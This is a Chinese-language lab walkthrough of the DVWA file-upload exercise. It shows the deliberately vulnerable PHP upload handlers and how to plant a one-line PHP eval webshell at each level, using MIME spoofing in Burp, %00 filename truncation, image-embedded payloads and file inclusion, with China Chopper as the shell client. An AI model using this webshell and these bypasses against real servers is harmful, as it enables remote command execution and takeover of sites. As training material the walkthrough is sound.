File Upload
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,简单来说文件上传是指攻击者通过上传可执行脚本功能,从而获取服务器端可执行命令的权限
本次实验需要用到中国菜刀 ,所以我们要先下载这个软件,提供一个下载地址:
http://xiazai.zol.com.cn/detail/44/438518.shtml#comment,友情小提示:点下图红框框这里,别点上面的高速要不然它会先自动给你下载个加速器,电信下载就好了,软件很小只
Low
代码分析:在上传文件时,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,并且生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
文件上传漏洞限制条件:
- 能够成功上传木马文件
- 上传文件必须能够被执行
- 上传文件的路径必须可知
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
先整一个php版本的一句话木马,注意要是php类型的
上传
我们可以发现,上传成功,并返回了服务器的上传路径,如下图:
在中国菜刀右键——添加——输入shell地址:http://192.168.29.76/DVWA-master/hackable/uploads/mua.php(这个shell地址是怎么来的:浏览器里你上传完这个文件,看上面地址,vulnerabilities/upload/#的前面两个也就是自己的IP和DVWA-master,有的人是dvwa,加上服务器上传路径hackable/uploads/mua.php),红框是刚才php文件里POST后面的密码
添加成功
可以下载、修改服务器的所有文件
还可以打开终端
Medium
代码分析:函数对上传文件的类型和大小作了限制,类型必须是image/jpeg或者image/png,且上传文件大小不能超过100000B(大约等于97.6KB)
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?
一、文件上传+文件包含:
首先我们把刚才的php文件修改为png类型,上传,成功
现在直接去菜刀肯定连接不上,因为菜刀解析不了png类型的文件
这时就要开始文件包含的操作,在菜刀的添加地址栏中输入:http://192.168.29.76/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://192.168.29.76/DVWA-master/hackable/uploads/mua.png
理论上就可以拿到web shell,但我尝试多次没有连接成功QAQ(咱也不知道为什么,据说是平台原因)
二、利用burpsuite
上传文件,抓包,把这里改成mua.php
上传文件,成功
上菜刀进行连接
三、截断绕过
php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off(在php.ini里找)时,可以在文件名中使用%00截断
即可以把上传文件命名为hack.php%00.png,上传,抓包,可以看到类型符合要求,并且上传成功
此时菜刀再连接就可以了
然而我为什么没有做呢。。。因为我php版本大于5.3.4
High
代码分析:
增加了strrpos()函数和getimagesize()函数,从源码中发现对文件上传的格式做了更加严格的限制,要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”其中之一,而且限制了上传文件的文件头必须为图像类型。
strrpos() 函数:查找字符串在另一字符串中最后一次出现的位置。在这里是从文件名中找到含"."的字符
getimagesize()函数:用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
我们需要进行操作,将一句话木马文件与图片合并成一个图片类型的文件,具体如下:
先把图片文件改后缀名整成txt类型
打开这个txt文件,在最后加入一句话木马(<?php @eval($_POST['jyx']); ?> )
再改回jpg类型文件
上传,成功,连接菜刀
http://192.168.29.76/DVWA-master/vulnerabilities/fi/?page=file:///C:/Users/Administrator/Desktop/mua.JPEG